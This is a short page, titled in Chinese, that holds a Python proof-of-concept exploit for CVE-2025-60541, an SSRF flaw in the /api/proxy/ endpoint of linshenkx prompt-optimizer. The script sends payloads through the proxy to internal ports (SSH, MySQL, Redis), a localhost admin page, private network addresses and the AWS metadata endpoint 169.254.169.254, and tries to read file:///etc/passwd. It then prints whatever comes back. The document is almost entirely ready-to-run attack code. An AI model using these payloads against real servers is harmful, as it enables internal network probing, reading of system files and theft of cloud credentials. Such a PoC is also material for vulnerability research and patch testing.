CVE-2025-60541: linshenkx prompt-optimizer /api/proxy/ SSRF漏洞

import requests # CVE-2025-60541 SSRF PoC for linshenkx prompt-optimizer # Target: /api/proxy/ endpoint TARGET_URL = "http://target-server:8080/api/proxy/" def test_ssrf(target): """Test for SSRF vulnerability in /api/proxy/ endpoint""" headers = { "Content-Type": "application/json" } # Test cases for SSRF test_payloads = [ # Internal port scanning {"url": "http://127.0.0.1:22"}, {"url": "http://127.0.0.1:3306"}, {"url": "http://127.0.0.1:6379"}, # Localhost access {"url": "http://localhost/admin"}, # Internal network scanning {"url": "http://192.168.1.1:80"}, {"url": "http://10.0.0.1:8080"}, # Cloud metadata endpoint (AWS) {"url": "http://169.254.169.254/latest/meta-data/"}, # File protocol {"url": "file:///etc/passwd"} ] for payload in test_payloads: try: response = requests.post(target, json=payload, headers=headers, timeout=10) print(f"[*] Testing: {payload['url']}") print(f"[*] Status: {response.status_code}") if response.status_code == 200 and len(response.text) > 0: print(f"[!] Potential SSRF - Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("[*] CVE-2025-60541 SSRF PoC") print(f"[*] Target: {TARGET_URL}") test_ssrf(TARGET_URL)